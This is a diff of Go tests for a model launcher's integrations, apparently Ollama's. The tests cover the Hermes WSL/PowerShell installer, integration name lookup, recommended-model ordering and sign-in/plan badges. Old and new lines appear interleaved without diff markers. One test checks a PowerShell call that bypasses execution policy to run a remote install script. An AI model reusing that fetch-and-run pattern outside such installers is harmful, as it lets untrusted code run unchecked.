if err := os.WriteFile(hermesBin, []byte(hermesScript), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
withHermesLookPath(t, func(file string) (string, error) {
|
||||
if file == "wsl.exe" {
|
||||
return wslPath, nil
|
||||
}
|
||||
return "", os.ErrNotExist
|
||||
})
|
||||
|
||||
promptCount := 0
|
||||
DefaultConfirmPrompt = func(prompt string, options ConfirmOptions) (bool, error) {
|
||||
promptCount++
|
||||
if prompt != hermesGatewaySetupTitle {
|
||||
t.Fatalf("unexpected prompt %q", prompt)
|
||||
if prompt != "Hermes is not installed. Install now?" {
|
||||
t.Fatalf("unexpected install prompt %q", prompt)
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
|
||||
h := &Hermes{}
|
||||
if err := h.Run("", nil); err != nil {
|
||||
t.Fatalf("Run returned error: %v", err)
|
||||
if err := h.ensureInstalled(); err != nil {
|
||||
t.Fatalf("ensureInstalled returned error: %v", err)
|
||||
}
|
||||
|
||||
if promptCount != 1 {
|
||||
t.Fatalf("expected one messaging prompt, got %d", promptCount)
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(filepath.Join(tmpDir, "hermes-invocations.log"))
|
||||
data, err := os.ReadFile(filepath.Join(tmpDir, "powershell.log"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
lines := strings.Split(strings.TrimSpace(string(data)), "\n")
|
||||
if len(lines) != 2 {
|
||||
t.Fatalf("expected WSL hermes to run setup then launch, got %v", lines)
|
||||
}
|
||||
if lines[0] != "[gateway setup]" {
|
||||
t.Fatalf("expected WSL gateway setup first, got %q", lines[0])
|
||||
}
|
||||
if lines[1] != "[]" {
|
||||
t.Fatalf("expected WSL default hermes launch second, got %q", lines[1])
|
||||
}
|
||||
}
|
||||
|
||||
func TestHermesEnsureInstalledWindowsWithoutWSLGivesGuidance(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
withHermesPlatform(t, "windows")
|
||||
t.Setenv("PATH", tmpDir)
|
||||
|
||||
h := &Hermes{}
|
||||
err := h.ensureInstalled()
|
||||
if err == nil {
|
||||
t.Fatal("expected missing WSL guidance error")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "wsl --install") {
|
||||
t.Fatalf("expected WSL guidance, got %v", err)
|
||||
logs := string(data)
|
||||
for _, want := range []string{"-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", hermesWindowsInstallURL, "-SkipSetup"} {
|
||||
if !strings.Contains(logs, want) {
|
||||
t.Fatalf("expected PowerShell installer args to contain %q, got logs:\n%s", want, logs)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+429
-33
@@ -10,7 +10,9 @@ import (
|
||||
"net/url"
|
||||
"slices"
|
||||
"strings"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/google/go-cmp/cmp"
|
||||
"github.com/ollama/ollama/api"
|
||||
@@ -23,7 +25,7 @@ type stubEditorRunner struct {
|
||||
editErr error
|
||||
}
|
||||
|
||||
func (s *stubEditorRunner) Run(model string, args []string) error {
|
||||
func (s *stubEditorRunner) Run(model string, _ []LaunchModel, args []string) error {
|
||||
s.ranModel = model
|
||||
return nil
|
||||
}
|
||||
@@ -32,11 +34,11 @@ func (s *stubEditorRunner) String() string { return "StubEditor" }
|
||||
|
||||
func (s *stubEditorRunner) Paths() []string { return nil }
|
||||
|
||||
func (s *stubEditorRunner) Edit(models []string) error {
|
||||
func (s *stubEditorRunner) Edit(models []LaunchModel) error {
|
||||
if s.editErr != nil {
|
||||
return s.editErr
|
||||
}
|
||||
cloned := append([]string(nil), models...)
|
||||
cloned := launchModelNames(models)
|
||||
s.edited = append(s.edited, cloned)
|
||||
return nil
|
||||
}
|
||||
@@ -53,9 +55,18 @@ func TestIntegrationLookup(t *testing.T) {
|
||||
{"claude lowercase", "claude", true, "Claude Code"},
|
||||
{"claude uppercase", "CLAUDE", true, "Claude Code"},
|
||||
{"claude mixed case", "Claude", true, "Claude Code"},
|
||||
{"claude desktop", "claude-desktop", true, "Claude Desktop"},
|
||||
{"claude desktop alias", "claude-app", true, "Claude Desktop"},
|
||||
{"codex", "codex", true, "Codex"},
|
||||
{"codex app", "codex-app", true, "Codex App"},
|
||||
{"codex app desktop alias", "codex-desktop", true, "Codex App"},
|
||||
{"codex app gui alias", "codex-gui", true, "Codex App"},
|
||||
{"hermes desktop", "hermes-desktop", true, "Hermes Desktop"},
|
||||
{"kimi", "kimi", true, "Kimi Code CLI"},
|
||||
{"droid", "droid", true, "Droid"},
|
||||
{"opencode", "opencode", true, "OpenCode"},
|
||||
{"omp", "omp", true, "OMP"},
|
||||
{"pool", "pool", true, "Pool"},
|
||||
{"unknown integration", "unknown", false, ""},
|
||||
{"empty string", "", false, ""},
|
||||
}
|
||||
@@ -74,8 +85,7 @@ func TestIntegrationLookup(t *testing.T) {
|
||||
}
|
||||
|
||||
func TestIntegrationRegistry(t *testing.T) {
|
||||
expectedIntegrations := []string{"claude", "codex", "droid", "opencode", "hermes"}
|
||||
|
||||
expectedIntegrations := []string{"claude", "claude-desktop", "cline", "codex", "codex-app", "kimi", "droid", "opencode", "omp", "hermes", "hermes-desktop", "pool", "qwen"}
|
||||
for _, name := range expectedIntegrations {
|
||||
t.Run(name, func(t *testing.T) {
|
||||
r, ok := integrations[name]
|
||||
@@ -89,6 +99,15 @@ func TestIntegrationRegistry(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestHiddenIntegrationsExcludedFromVisibleLists(t *testing.T) {
|
||||
for _, info := range ListIntegrationInfos() {
|
||||
switch info.Name {
|
||||
case "vscode", "kimi":
|
||||
t.Fatalf("hidden integration %q should not appear in ListIntegrationInfos", info.Name)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestHasLocalModel(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
@@ -126,6 +145,23 @@ func TestLookupIntegration_UnknownIntegration(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestLookupIntegration_ClaudeDesktopResolvesForRestore(t *testing.T) {
|
||||
for _, name := range []string{"claude-desktop", "claude-app"} {
|
||||
t.Run(name, func(t *testing.T) {
|
||||
canonical, runner, err := LookupIntegration(name)
|
||||
if err != nil {
|
||||
t.Fatalf("expected Claude Desktop lookup to resolve, got: %v", err)
|
||||
}
|
||||
if canonical != "claude-desktop" {
|
||||
t.Fatalf("canonical name = %q, want claude-desktop", canonical)
|
||||
}
|
||||
if runner.String() != "Claude Desktop" {
|
||||
t.Fatalf("runner = %q, want Claude Desktop", runner.String())
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestIsIntegrationInstalled_UnknownIntegrationReturnsFalse(t *testing.T) {
|
||||
stderr := captureStderr(t, func() {
|
||||
if IsIntegrationInstalled("unknown-integration") {
|
||||
@@ -172,7 +208,7 @@ func TestAllIntegrations_HaveRequiredMethods(t *testing.T) {
|
||||
if displayName == "" {
|
||||
t.Error("String() should not return empty")
|
||||
}
|
||||
var _ func(string, []string) error = r.Run
|
||||
var _ func(string, []LaunchModel, []string) error = r.Run
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -291,7 +327,7 @@ func TestParseArgs(t *testing.T) {
|
||||
func TestIsCloudModel(t *testing.T) {
|
||||
// isCloudModel now only uses Show API, so nil client always returns false
|
||||
t.Run("nil client returns false", func(t *testing.T) {
|
||||
models := []string{"glm-5.1:cloud", "kimi-k2.5:cloud", "local-model"}
|
||||
models := []string{"glm-5.1:cloud", "kimi-k2.6:cloud", "local-model"}
|
||||
for _, model := range models {
|
||||
if isCloudModel(context.Background(), nil, model) {
|
||||
t.Errorf("isCloudModel(%q) with nil client should return false", model)
|
||||
@@ -308,10 +344,18 @@ func names(items []ModelItem) []string {
|
||||
return out
|
||||
}
|
||||
|
||||
func recommendedNames(extra ...string) []string {
|
||||
out := make([]string, 0, len(recommendedModels)+len(extra))
|
||||
for _, item := range recommendedModels {
|
||||
out = append(out, item.Name)
|
||||
}
|
||||
return append(out, extra...)
|
||||
}
|
||||
|
||||
func TestBuildModelList_NoExistingModels(t *testing.T) {
|
||||
items, _, _, _ := buildModelList(nil, nil, "")
|
||||
|
||||
want := []string{"kimi-k2.5:cloud", "qwen3.5:cloud", "glm-5.1:cloud", "minimax-m2.7:cloud", "gemma4", "qwen3.5"}
|
||||
want := recommendedNames()
|
||||
if diff := cmp.Diff(want, names(items)); diff != "" {
|
||||
t.Errorf("with no existing models, items should be recommended in order (-want +got):\n%s", diff)
|
||||
}
|
||||
@@ -340,7 +384,7 @@ func TestBuildModelList_OnlyLocalModels_CloudRecsStillFirst(t *testing.T) {
|
||||
|
||||
// Cloud recs always come first among recommended, regardless of installed inventory.
|
||||
// Cloud disablement is handled upstream in loadSelectableModels via filterCloudItems.
|
||||
want := []string{"kimi-k2.5:cloud", "qwen3.5:cloud", "glm-5.1:cloud", "minimax-m2.7:cloud", "gemma4", "qwen3.5", "llama3.2", "qwen2.5"}
|
||||
want := recommendedNames("llama3.2", "qwen2.5")
|
||||
if diff := cmp.Diff(want, got); diff != "" {
|
||||
t.Errorf("cloud recs pinned first even when no cloud models installed (-want +got):\n%s", diff)
|
||||
}
|
||||
@@ -356,13 +400,13 @@ func TestBuildModelList_BothCloudAndLocal_RegularSort(t *testing.T) {
|
||||
got := names(items)
|
||||
|
||||
// All recs pinned at top (cloud before local in mixed case), then non-recs
|
||||
want := []string{"kimi-k2.5:cloud", "qwen3.5:cloud", "glm-5.1:cloud", "minimax-m2.7:cloud", "gemma4", "qwen3.5", "llama3.2"}
|
||||
want := recommendedNames("llama3.2")
|
||||
if diff := cmp.Diff(want, got); diff != "" {
|
||||
t.Errorf("recs pinned at top, cloud recs first in mixed case (-want +got):\n%s", diff)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildModelList_PreCheckedFirst(t *testing.T) {
|
||||
func TestBuildModelList_PreCheckedNonRecommendedFirstInMore(t *testing.T) {
|
||||
existing := []modelInfo{
|
||||
{Name: "llama3.2:latest", Remote: false},
|
||||
{Name: "glm-5.1:cloud", Remote: true},
|
||||
@@ -371,8 +415,9 @@ func TestBuildModelList_PreCheckedFirst(t *testing.T) {
|
||||
items, _, _, _ := buildModelList(existing, []string{"llama3.2"}, "")
|
||||
got := names(items)
|
||||
|
||||
if got[0] != "llama3.2" {
|
||||
t.Errorf("pre-checked model should be first, got %v", got)
|
||||
want := recommendedNames("llama3.2")
|
||||
if diff := cmp.Diff(want, got); diff != "" {
|
||||
t.Errorf("recommended block should stay fixed while checked non-recommended models lead More (-want +got):\n%s", diff)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -427,7 +472,7 @@ func TestBuildModelList_ExistingRecommendedMarked(t *testing.T) {
|
||||
if !strings.HasSuffix(item.Description, "(not downloaded)") {
|
||||
t.Errorf("non-installed recommended %q should have '(not downloaded)' suffix, got %q", item.Name, item.Description)
|
||||
}
|
||||
case "minimax-m2.7:cloud", "kimi-k2.5:cloud", "qwen3.5:cloud":
|
||||
case "minimax-m2.7:cloud", "kimi-k2.6:cloud", "qwen3.5:cloud":
|
||||
if strings.HasSuffix(item.Description, "(not downloaded)") {
|
||||
t.Errorf("cloud model %q should not have '(not downloaded)' suffix, got %q", item.Name, item.Description)
|
||||
}
|
||||
@@ -435,6 +480,28 @@ func TestBuildModelList_ExistingRecommendedMarked(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildModelList_PreservesRecommendationRequiredPlanForExistingCloudModel(t *testing.T) {
|
||||
recommendations := []ModelItem{
|
||||
{
|
||||
Name: "glm-5:cloud",
|
||||
Description: "Reasoning and code generation",
|
||||
Recommended: true,
|
||||
RequiredPlan: "pro",
|
||||
Details: api.ModelDetails{ContextLength: 202_752},
|
||||
},
|
||||
}
|
||||
existing := []modelInfo{{Name: "glm-5:cloud", Remote: true}}
|
||||
|
||||
items, _, _, _ := buildModelListWithRecommendations(existing, recommendations, nil, "")
|
||||
if len(items) != 1 {
|
||||
t.Fatalf("expected one item, got %v", items)
|
||||
}
|
||||
item := items[0]
|
||||
if item.RequiredPlan != "pro" {
|
||||
t.Fatalf("RequiredPlan = %q, want pro", item.RequiredPlan)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildModelList_ExistingCloudModelsNotPushedToBottom(t *testing.T) {
|
||||
existing := []modelInfo{
|
||||
{Name: "gemma4", Remote: false},
|
||||
@@ -445,9 +512,9 @@ func TestBuildModelList_ExistingCloudModelsNotPushedToBottom(t *testing.T) {
|
||||
got := names(items)
|
||||
|
||||
// gemma4 and glm-5.1:cloud are installed so they sort normally;
|
||||
// kimi-k2.5:cloud, qwen3.5:cloud, and qwen3.5 are not installed so they go to the bottom
|
||||
// qwen3.5:cloud and qwen3.5 are not installed so they go to the bottom
|
||||
// All recs: cloud first in mixed case, then local, in rec order within each
|
||||
want := []string{"kimi-k2.5:cloud", "qwen3.5:cloud", "glm-5.1:cloud", "minimax-m2.7:cloud", "gemma4", "qwen3.5"}
|
||||
want := recommendedNames()
|
||||
if diff := cmp.Diff(want, got); diff != "" {
|
||||
t.Errorf("all recs, cloud first in mixed case (-want +got):\n%s", diff)
|
||||
}
|
||||
@@ -456,23 +523,23 @@ func TestBuildModelList_ExistingCloudModelsNotPushedToBottom(t *testing.T) {
|
||||
func TestBuildModelList_HasRecommendedCloudModel_OnlyNonInstalledAtBottom(t *testing.T) {
|
||||
existing := []modelInfo{
|
||||
{Name: "llama3.2:latest", Remote: false},
|
||||
{Name: "kimi-k2.5:cloud", Remote: true},
|
||||
{Name: "kimi-k2.6:cloud", Remote: true},
|
||||
}
|
||||
|
||||
items, _, _, _ := buildModelList(existing, nil, "")
|
||||
got := names(items)
|
||||
|
||||
// kimi-k2.5:cloud is installed so it sorts normally;
|
||||
// kimi-k2.6:cloud is installed so it sorts normally;
|
||||
// the rest of the recommendations are not installed so they go to the bottom
|
||||
// All recs pinned at top (cloud first in mixed case), then non-recs
|
||||
want := []string{"kimi-k2.5:cloud", "qwen3.5:cloud", "glm-5.1:cloud", "minimax-m2.7:cloud", "gemma4", "qwen3.5", "llama3.2"}
|
||||
want := recommendedNames("llama3.2")
|
||||
if diff := cmp.Diff(want, got); diff != "" {
|
||||
t.Errorf("recs pinned at top, cloud first in mixed case (-want +got):\n%s", diff)
|
||||
}
|
||||
|
||||
for _, item := range items {
|
||||
isCloud := strings.HasSuffix(item.Name, ":cloud")
|
||||
isInstalled := slices.Contains([]string{"kimi-k2.5:cloud", "llama3.2"}, item.Name)
|
||||
isInstalled := slices.Contains([]string{"kimi-k2.6:cloud", "llama3.2"}, item.Name)
|
||||
if isInstalled || isCloud {
|
||||
if strings.HasSuffix(item.Description, "(not downloaded)") {
|
||||
t.Errorf("installed or cloud model %q should not have '(not downloaded)' suffix, got %q", item.Name, item.Description)
|
||||
@@ -539,8 +606,8 @@ func TestBuildModelList_ReturnsExistingAndCloudMaps(t *testing.T) {
|
||||
if !cloudModels["glm-5.1:cloud"] {
|
||||
t.Error("glm-5.1:cloud should be in cloudModels")
|
||||
}
|
||||
if !cloudModels["kimi-k2.5:cloud"] {
|
||||
t.Error("kimi-k2.5:cloud should be in cloudModels (recommended cloud)")
|
||||
if !cloudModels["kimi-k2.6:cloud"] {
|
||||
t.Error("kimi-k2.6:cloud should be in cloudModels (recommended cloud)")
|
||||
}
|
||||
if !cloudModels["qwen3.5:cloud"] {
|
||||
t.Error("qwen3.5:cloud should be in cloudModels (recommended cloud)")
|
||||
@@ -560,7 +627,7 @@ func TestBuildModelList_RecommendedFieldSet(t *testing.T) {
|
||||
|
||||
for _, item := range items {
|
||||
switch item.Name {
|
||||
case "gemma4", "qwen3.5", "glm-5.1:cloud", "kimi-k2.5:cloud", "qwen3.5:cloud":
|
||||
case "gemma4", "qwen3.5", "glm-5.1:cloud", "kimi-k2.6:cloud", "qwen3.5:cloud":
|
||||
if !item.Recommended {
|
||||
t.Errorf("%q should have Recommended=true", item.Name)
|
||||
}
|
||||
@@ -618,7 +685,7 @@ func TestBuildModelList_RecsAboveNonRecs(t *testing.T) {
|
||||
lastRecIdx := -1
|
||||
firstNonRecIdx := len(got)
|
||||
for i, name := range got {
|
||||
isRec := name == "gemma4" || name == "qwen3.5" || name == "minimax-m2.7:cloud" || name == "glm-5.1:cloud" || name == "kimi-k2.5:cloud" || name == "qwen3.5:cloud"
|
||||
isRec := name == "gemma4" || name == "qwen3.5" || name == "minimax-m2.7:cloud" || name == "glm-5.1:cloud" || name == "kimi-k2.6:cloud" || name == "qwen3.5:cloud"
|
||||
if isRec && i > lastRecIdx {
|
||||
lastRecIdx = i
|
||||
}
|
||||
@@ -631,17 +698,32 @@ func TestBuildModelList_RecsAboveNonRecs(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildModelList_CheckedBeforeRecs(t *testing.T) {
|
||||
func TestBuildModelList_CheckedRecommendedDoesNotReshuffleRecommendedOrder(t *testing.T) {
|
||||
existing := []modelInfo{
|
||||
{Name: "llama3.2:latest", Remote: false},
|
||||
{Name: "glm-5.1:cloud", Remote: true},
|
||||
}
|
||||
|
||||
items, _, _, _ := buildModelList(existing, []string{"llama3.2"}, "")
|
||||
items, _, _, _ := buildModelList(existing, []string{"qwen3.5:cloud", "glm-5.1:cloud"}, "")
|
||||
got := names(items)
|
||||
|
||||
if got[0] != "llama3.2" {
|
||||
t.Errorf("checked model should be first even before recs, got %v", got)
|
||||
want := recommendedNames("llama3.2")
|
||||
if diff := cmp.Diff(want, got); diff != "" {
|
||||
t.Errorf("checked recommended models should not reshuffle the fixed recommended order (-want +got):\n%s", diff)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildModelList_StaleSavedKimiK25DoesNotReshuffleRecommendedOrder(t *testing.T) {
|
||||
existing := []modelInfo{
|
||||
{Name: "kimi-k2.5:cloud", Remote: true},
|
||||
}
|
||||
|
||||
items, _, _, _ := buildModelList(existing, []string{"kimi-k2.5:cloud", "qwen3.5:cloud", "glm-5.1:cloud", "minimax-m2.7:cloud"}, "kimi-k2.5:cloud")
|
||||
got := names(items)
|
||||
|
||||
want := recommendedNames("kimi-k2.5:cloud")
|
||||
if diff := cmp.Diff(want, got); diff != "" {
|
||||
t.Errorf("stale saved kimi-k2.5 should stay in More without reshuffling the fixed recommended order (-want +got):\n%s", diff)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -786,7 +868,7 @@ func TestPrepareEditorIntegration_SavesOnlyAfterSuccessfulEdit(t *testing.T) {
|
||||
}
|
||||
|
||||
editor := &stubEditorRunner{editErr: errors.New("boom")}
|
||||
err := prepareEditorIntegration("droid", editor, editor, []string{"new-model"})
|
||||
err := prepareEditorIntegration("droid", editor, testLaunchModels("new-model"))
|
||||
if err == nil || !strings.Contains(err.Error(), "setup failed") {
|
||||
t.Fatalf("expected setup failure, got %v", err)
|
||||
}
|
||||
@@ -1330,6 +1412,211 @@ func TestEnsureAuth_SkipsWhenNoCloudSelected(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestEnsureAuth_EmptyWhoamiRequiresSignIn(t *testing.T) {
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.URL.Path {
|
||||
case "/api/status":
|
||||
w.WriteHeader(http.StatusNotFound)
|
||||
fmt.Fprintf(w, `{"error":"not found"}`)
|
||||
case "/api/me":
|
||||
w.WriteHeader(http.StatusOK)
|
||||
fmt.Fprintf(w, `{}`)
|
||||
default:
|
||||
w.WriteHeader(http.StatusNotFound)
|
||||
}
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
u, _ := url.Parse(srv.URL)
|
||||
client := api.NewClient(u, srv.Client())
|
||||
|
||||
err := ensureAuth(context.Background(), client, map[string]bool{"cloud-model:cloud": true}, []string{"cloud-model:cloud"})
|
||||
if err == nil || !strings.Contains(err.Error(), "cloud-model:cloud requires sign in") {
|
||||
t.Fatalf("ensureAuth error = %v, want sign-in required", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyAccountStateToSelectionItems_BadgesOnlyWhenActionRequired(t *testing.T) {
|
||||
items := []ModelItem{
|
||||
{Name: "qwen3.5:cloud", Recommended: true},
|
||||
{Name: "kimi-k2.6:cloud", Recommended: true, RequiredPlan: "pro"},
|
||||
{Name: "llama3.2", RequiredPlan: "pro"},
|
||||
{Name: "glm-5:cloud"},
|
||||
{Name: "nemotron-3-super:cloud", Recommended: true, RequiredPlan: "free"},
|
||||
}
|
||||
|
||||
signedOut := ApplyAccountStateToSelectionItems(items, AccountState{Status: accountStateSignedOut})
|
||||
if signedOut[0].AvailabilityBadge != "Sign in required" {
|
||||
t.Fatalf("account cloud badge = %q", signedOut[0].AvailabilityBadge)
|
||||
}
|
||||
if signedOut[1].AvailabilityBadge != "Sign in required" {
|
||||
t.Fatalf("subscription cloud signed-out badge = %q", signedOut[1].AvailabilityBadge)
|
||||
}
|
||||
if signedOut[4].AvailabilityBadge != "Sign in required" {
|
||||
t.Fatalf("free-plan cloud signed-out badge = %q", signedOut[4].AvailabilityBadge)
|
||||
}
|
||||
if signedOut[2].AvailabilityBadge != "" || signedOut[3].AvailabilityBadge != "" {
|
||||
t.Fatalf("unexpected badge for local or unmetadata item: %#v", signedOut)
|
||||
}
|
||||
|
||||
freeUser := ApplyAccountStateToSelectionItems(items, AccountState{Status: accountStateSignedIn, Plan: "free"})
|
||||
if freeUser[0].AvailabilityBadge != "" {
|
||||
t.Fatalf("signed-in account model should not be badged, got %q", freeUser[0].AvailabilityBadge)
|
||||
}
|
||||
if freeUser[1].AvailabilityBadge != "Upgrade required" {
|
||||
t.Fatalf("subscription cloud free-plan badge = %q", freeUser[1].AvailabilityBadge)
|
||||
}
|
||||
if freeUser[4].AvailabilityBadge != "" {
|
||||
t.Fatalf("free required plan should be usable by free user, got %q", freeUser[4].AvailabilityBadge)
|
||||
}
|
||||
|
||||
proUser := ApplyAccountStateToSelectionItems(items, AccountState{Status: accountStateSignedIn, Plan: "pro"})
|
||||
if proUser[1].AvailabilityBadge != "" {
|
||||
t.Fatalf("pro user should not see included badge, got %q", proUser[1].AvailabilityBadge)
|
||||
}
|
||||
|
||||
maxUser := ApplyAccountStateToSelectionItems(items, AccountState{Status: accountStateSignedIn, Plan: "max"})
|
||||
if maxUser[1].AvailabilityBadge != "" {
|
||||
t.Fatalf("max user should not see upgrade badge, got %q", maxUser[1].AvailabilityBadge)
|
||||
}
|
||||
|
||||
unknown := ApplyAccountStateToSelectionItems(items, AccountState{Status: accountStateUnknown})
|
||||
for _, item := range unknown {
|
||||
if item.AvailabilityBadge != "" {
|
||||
t.Fatalf("unknown account state should not render badges: %#v", unknown)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestSelectionItemsWithAccountState_SkipsBadgesWithoutBadgeableCloudItems(t *testing.T) {
|
||||
items := []ModelItem{
|
||||
{Name: "llama3.2"},
|
||||
{Name: "custom:cloud"},
|
||||
}
|
||||
state := &AccountState{Status: accountStateSignedOut}
|
||||
got := SelectionItemsWithAccountState(items, state)
|
||||
if len(got) != len(items) {
|
||||
t.Fatalf("got %d selection items, want %d", len(got), len(items))
|
||||
}
|
||||
for _, item := range got {
|
||||
if item.AvailabilityBadge != "" {
|
||||
t.Fatalf("unexpected badge without account state: %#v", got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestSelectionItemsWithAccountState_UsesPrefetchedStateForRecommendedCloudItems(t *testing.T) {
|
||||
state := &AccountState{Status: accountStateSignedOut}
|
||||
got := SelectionItemsWithAccountState([]ModelItem{{Name: "qwen3.5:cloud", Recommended: true}}, state)
|
||||
if got[0].AvailabilityBadge != "Sign in required" {
|
||||
t.Fatalf("badge = %q, want Sign in required", got[0].AvailabilityBadge)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRecommendedModelsDoNotIncludeRequiredPlanStubs(t *testing.T) {
|
||||
byName := make(map[string]ModelItem, len(recommendedModels))
|
||||
for _, item := range recommendedModels {
|
||||
byName[item.Name] = item
|
||||
}
|
||||
|
||||
if item := byName["kimi-k2.6:cloud"]; item.RequiredPlan != "" {
|
||||
t.Fatalf("kimi fallback required plan should not be stubbed: %#v", item)
|
||||
}
|
||||
if item := byName["minimax-m2.7:cloud"]; item.RequiredPlan != "" {
|
||||
t.Fatalf("minimax fallback required plan should not be stubbed: %#v", item)
|
||||
}
|
||||
if item := byName["qwen3.5:cloud"]; item.RequiredPlan != "" {
|
||||
t.Fatalf("qwen fallback required plan = %#v", item)
|
||||
}
|
||||
if item := byName["glm-5.1:cloud"]; item.RequiredPlan != "" {
|
||||
t.Fatalf("glm fallback required plan = %#v", item)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLaunchAccountState(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
statusCode int
|
||||
body string
|
||||
wantStatus accountStateStatus
|
||||
wantPlan string
|
||||
}{
|
||||
{
|
||||
name: "signed in",
|
||||
statusCode: http.StatusOK,
|
||||
body: `{"name":"parth","plan":"pro"}`,
|
||||
wantStatus: accountStateSignedIn,
|
||||
wantPlan: "pro",
|
||||
},
|
||||
{
|
||||
name: "signed out",
|
||||
statusCode: http.StatusUnauthorized,
|
||||
body: `{"error":"unauthorized","signin_url":"https://example.com/signin"}`,
|
||||
wantStatus: accountStateSignedOut,
|
||||
},
|
||||
{
|
||||
name: "unreachable",
|
||||
statusCode: http.StatusInternalServerError,
|
||||
body: `{"error":"temporary failure"}`,
|
||||
wantStatus: accountStateUnknown,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.URL.Path != "/api/me" {
|
||||
http.NotFound(w, r)
|
||||
return
|
||||
}
|
||||
w.WriteHeader(tt.statusCode)
|
||||
fmt.Fprint(w, tt.body)
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
u, _ := url.Parse(srv.URL)
|
||||
got := launchAccountState(context.Background(), api.NewClient(u, srv.Client()))
|
||||
if got.Status != tt.wantStatus {
|
||||
t.Fatalf("Status = %v, want %v", got.Status, tt.wantStatus)
|
||||
}
|
||||
if got.Plan != tt.wantPlan {
|
||||
t.Fatalf("Plan = %q, want %q", got.Plan, tt.wantPlan)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestStartAccountStatePrefetch_SkipsWhoamiWhenCloudDisabled(t *testing.T) {
|
||||
var whoamiCalled atomic.Bool
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.URL.Path {
|
||||
case "/api/status":
|
||||
fmt.Fprint(w, `{"cloud":{"disabled":true,"source":"config"}}`)
|
||||
case "/api/me":
|
||||
whoamiCalled.Store(true)
|
||||
http.NotFound(w, r)
|
||||
default:
|
||||
http.NotFound(w, r)
|
||||
}
|
||||
}))
|
||||
defer srv.Close()
|
||||
t.Setenv("OLLAMA_HOST", srv.URL)
|
||||
|
||||
prefetch := StartAccountStatePrefetch(context.Background())
|
||||
select {
|
||||
case <-prefetch.done:
|
||||
case <-time.After(time.Second):
|
||||
t.Fatal("account prefetch did not finish")
|
||||
}
|
||||
if whoamiCalled.Load() {
|
||||
t.Fatal("prefetch should not call whoami when cloud is disabled")
|
||||
}
|
||||
state := prefetch.StateIfReady()
|
||||
if state == nil || state.Status != accountStateUnknown {
|
||||
t.Fatalf("prefetch state = %#v, want unknown", state)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEnsureAuth_PreservesCancelledSignInHook(t *testing.T) {
|
||||
oldSignIn := DefaultSignIn
|
||||
DefaultSignIn = func(modelName, signInURL string) (string, error) {
|
||||
@@ -1455,16 +1742,31 @@ func TestIntegration_InstallHint(t *testing.T) {
|
||||
input: "codex",
|
||||
wantURL: "https://developers.openai.com/codex/cli/",
|
||||
},
|
||||
{
|
||||
name: "codex app has hint",
|
||||
input: "codex-app",
|
||||
wantURL: "https://developers.openai.com/codex/quickstart",
|
||||
},
|
||||
{
|
||||
name: "openclaw has hint",
|
||||
input: "openclaw",
|
||||
wantURL: "https://docs.openclaw.ai",
|
||||
},
|
||||
{
|
||||
name: "pool has hint",
|
||||
input: "pool",
|
||||
wantURL: "https://github.com/poolsideai/pool",
|
||||
},
|
||||
{
|
||||
name: "unknown has no hint",
|
||||
input: "unknown",
|
||||
wantEmpty: true,
|
||||
},
|
||||
{
|
||||
name: "qwen uses official install page",
|
||||
input: "qwen",
|
||||
wantURL: "https://qwen.ai/qwencode",
|
||||
},
|
||||
{
|
||||
name: "empty name has no hint",
|
||||
input: "",
|
||||
@@ -1515,11 +1817,49 @@ func TestListIntegrationInfos(t *testing.T) {
|
||||
for _, info := range infos {
|
||||
got = append(got, info.Name)
|
||||
}
|
||||
if diff := compareStrings(got, integrationOrder); diff != "" {
|
||||
|
||||
want := append([]string(nil), integrationOrder...)
|
||||
if poolsideGOOS == "windows" {
|
||||
filtered := make([]string, 0, len(want))
|
||||
for _, name := range want {
|
||||
if name != "pool" {
|
||||
filtered = append(filtered, name)
|
||||
}
|
||||
}
|
||||
want = filtered
|
||||
}
|
||||
if codexAppSupported() != nil {
|
||||
filtered := make([]string, 0, len(want))
|
||||
for _, name := range want {
|
||||
if name != "codex-app" {
|
||||
filtered = append(filtered, name)
|
||||
}
|
||||
}
|
||||
want = filtered
|
||||
}
|
||||
|
||||
if diff := compareStrings(got, want); diff != "" {
|
||||
t.Fatalf("launcher integration order mismatch: %s", diff)
|
||||
}
|
